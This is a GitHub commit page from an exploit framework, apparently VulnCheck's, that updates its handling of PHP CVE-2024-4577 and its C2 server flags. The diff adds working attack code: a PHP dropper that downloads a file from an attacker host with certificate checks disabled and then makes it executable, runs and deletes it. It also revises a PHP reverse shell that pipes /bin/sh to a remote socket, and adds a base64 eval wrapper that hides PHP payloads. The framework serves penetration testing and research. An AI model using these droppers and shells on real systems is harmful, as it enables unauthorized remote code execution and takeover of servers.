Skip to content

Commit

Permalink
Merge pull request #170 from vulncheck-oss/php-dropper
Browse files Browse the repository at this point in the history
Updates to improve handling of PHP CVE-2024-4577
  • Loading branch information
j-baines authored Jun 10, 2024
2 parents 91afd5a + 3f0bc76 commit 227ef68
Show file tree
Hide file tree
Showing 9 changed files with 80 additions and 11 deletions.
14 changes: 9 additions & 5 deletions c2/httpservefile/httpservefile.go
Original file line number Diff line number Diff line change
Expand Up @@ -78,11 +78,15 @@ func GetInstance() *Server {

// User options for serving a file over HTTP as the "c2".
func (httpServer *Server) CreateFlags() {
flag.StringVar(&httpServer.FilesToServe, "httpServeFile.FilesToServe", "", "A comma delimited list of all the files to serve")
flag.StringVar(&httpServer.ServerField, "httpServeFile.ServerField", "Apache", "The value to insert in the HTTP server field")
flag.BoolVar(&httpServer.TLS, "httpServeFile.TLS", false, "Indicates if the HTTP server should use encryption")
flag.StringVar(&httpServer.PrivateKeyFile, "httpServeFile.PrivateKeyFile", "", "A private key to use with the HTTPS server")
flag.StringVar(&httpServer.CertificateFile, "httpServeFile.CertificateFile", "", "The certificate to use with the HTTPS server")
// some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell).
// so first check if these values have already been generated
if flag.Lookup("httpServeFile.FilesToServe") == nil {
flag.StringVar(&httpServer.FilesToServe, "httpServeFile.FilesToServe", "", "A comma delimited list of all the files to serve")
flag.StringVar(&httpServer.ServerField, "httpServeFile.ServerField", "Apache", "The value to insert in the HTTP server field")
flag.BoolVar(&httpServer.TLS, "httpServeFile.TLS", false, "Indicates if the HTTP server should use encryption")
flag.StringVar(&httpServer.PrivateKeyFile, "httpServeFile.PrivateKeyFile", "", "A private key to use with the HTTPS server")
flag.StringVar(&httpServer.CertificateFile, "httpServeFile.CertificateFile", "", "The certificate to use with the HTTPS server")
}
}

// load the provided files into memory, stored in a map, and loads the tls cert if needed.
Expand Down
8 changes: 6 additions & 2 deletions c2/sslshell/sslshellserver.go
Original file line number Diff line number Diff line change
Expand Up @@ -52,8 +52,12 @@ func GetInstance() *Server {

// Create the flags for accepting custom TLS configurations.
func (shellServer *Server) CreateFlags() {
flag.StringVar(&shellServer.PrivateKeyFile, "sslShellServer.PrivateKeyFile", "", "A private key to use with the SSL server")
flag.StringVar(&shellServer.CertificateFile, "sslShellServer.CertificateFile", "", "The certificate to use with the SSL server")
// some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell).
// so first check if these values have already been generated
if flag.Lookup("sslShellServer.PrivateKeyFile") == nil {
flag.StringVar(&shellServer.PrivateKeyFile, "sslShellServer.PrivateKeyFile", "", "A private key to use with the SSL server")
flag.StringVar(&shellServer.CertificateFile, "sslShellServer.CertificateFile", "", "The certificate to use with the SSL server")
}
}

// Parses the user provided files or generates the certificate files and starts
Expand Down
2 changes: 2 additions & 0 deletions payload/dropper/dropper.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,10 +10,12 @@ type (
UnixPayload struct{}
WindowsPayload struct{}
GroovyPayload struct{}
PHPPayload struct{}
)

var (
Unix = &UnixPayload{}
Windows = &WindowsPayload{}
Groovy = &GroovyPayload{}
PHP = &PHPPayload{}
)
13 changes: 12 additions & 1 deletion payload/dropper/dropper_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -163,10 +163,21 @@ func TestWindowsPowershellHTTPDownloadAndExecute(t *testing.T) {
}

func TestGroovyHTTP(t *testing.T) {
groovyPayload := dropper.Groovy.GroovyHTTP("127.0.0.1", 1270, "input", "output")
groovyPayload := dropper.Groovy.HTTP("127.0.0.1", 1270, "input", "output")
expected := `def f = new File('output');f.withOutputStream{it << new URL('http://127.0.0.1:1270/input').openStream()};` +
`f.setExecutable(true);def p = 'output'.execute();p.waitFor();f.delete();`
if groovyPayload != expected {
t.Fatal(groovyPayload)
}
}

func TestPHPHTTP(t *testing.T) {
phpPayload := dropper.PHP.HTTP("127.0.0.1", 1270, true, "filename")
if strings.Contains(phpPayload, "context") == false {
t.Fatal("Missing SSL logic")
}
phpPayload = dropper.PHP.HTTP("127.0.0.1", 1270, false, "filename")
if strings.Contains(phpPayload, "context") {
t.Fatal("Mysterious inclusion of SSL logic")
}
}
2 changes: 1 addition & 1 deletion payload/dropper/groovy.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ import (
)

// Using Groovy, download a remote file, set it to executable, execute it, and delete it.
func (groovy *GroovyPayload) GroovyHTTP(lhost string, lport int, downloadFile string, output string) string {
func (groovy *GroovyPayload) HTTP(lhost string, lport int, downloadFile string, output string) string {
// download and write the file
cmd := fmt.Sprintf(`def f = new File('%s');f.withOutputStream{it << new URL('http://%s:%d/%s').openStream()};`, output, lhost, lport, downloadFile)
// set the download binary as executable
Expand Down
31 changes: 31 additions & 0 deletions payload/dropper/php.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
package dropper

import (
"fmt"
)

// Using PHP: download a remote file, write a tmp file, set it to executable, execute it, and delete it.
func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadFile string) string {
cmd := "<?php "
if ssl {
// download the data over ssl (ignoring cert validation)
cmd += `$options = array("ssl" => array("verify_peer" => false,"verify_peer_name" => false,),);`
cmd += `$context = stream_context_create($options);`
cmd += fmt.Sprintf(`$d = file_get_contents("https://%s:%d/%s", false, $context);`, lhost, lport, downloadFile)
} else {
// download the data
cmd += fmt.Sprintf(`$d = file_get_contents("http://%s:%d/%s");`, lhost, lport, downloadFile)
}
// generate a random file
cmd += `$o=tempnam(sys_get_temp_dir(), "");`
// write the data
cmd += `file_put_contents($o,$d);`
// set the download binary as executable
cmd += `chmod($o, 0755);`
// execute it
cmd += `exec($o);`
// delete it
cmd += `unlink($o); ?>`

return cmd
}
4 changes: 2 additions & 2 deletions payload/reverse/php.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,8 @@ import (

const (
PHPDefault = PHPLinuxInteractive
PHPLinuxInteractive = `<? $sock=fsockopen("%s",%d);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>`
PHPUnflattened = `<?
PHPLinuxInteractive = `<?php $sock=fsockopen("%s",%d);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>`
PHPUnflattened = `<?php
function dataTransfer($input, $output) {
$data = fread($input, 1024);
fwrite($output, $data);
Expand Down
7 changes: 7 additions & 0 deletions payload/wrapper.go
Original file line number Diff line number Diff line change
Expand Up @@ -18,3 +18,10 @@ func Base64EncodeForGroovyEval(cmd string) string {

return fmt.Sprintf("Eval.me(new String('%s'.decodeBase64()))", cmd64)
}

// Base64 encodes the command. Wraps it in logic to base64 decode and evaluate it in PHP.
func Base64EncodeForPHPEval(cmd string) string {
cmd64 := b64.StdEncoding.EncodeToString([]byte(cmd))

return fmt.Sprintf(`<?php eval(base64_decode("%s")); ?>`, cmd64)
}
10 changes: 10 additions & 0 deletions payload/wrapper_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -25,3 +25,13 @@ func TestBase64EncodeForGroovyEval(t *testing.T) {

t.Log(encoded)
}

func TestBase64EncodeFoPHPEval(t *testing.T) {
encoded := payload.Base64EncodeForPHPEval(`print("hi");`)

if encoded != `<?php eval(base64_decode("cHJpbnQoImhpIik7")); ?>` {
t.Fatal(encoded)
}

t.Log(encoded)
}

0 comments on commit 227ef68

Please sign in to comment.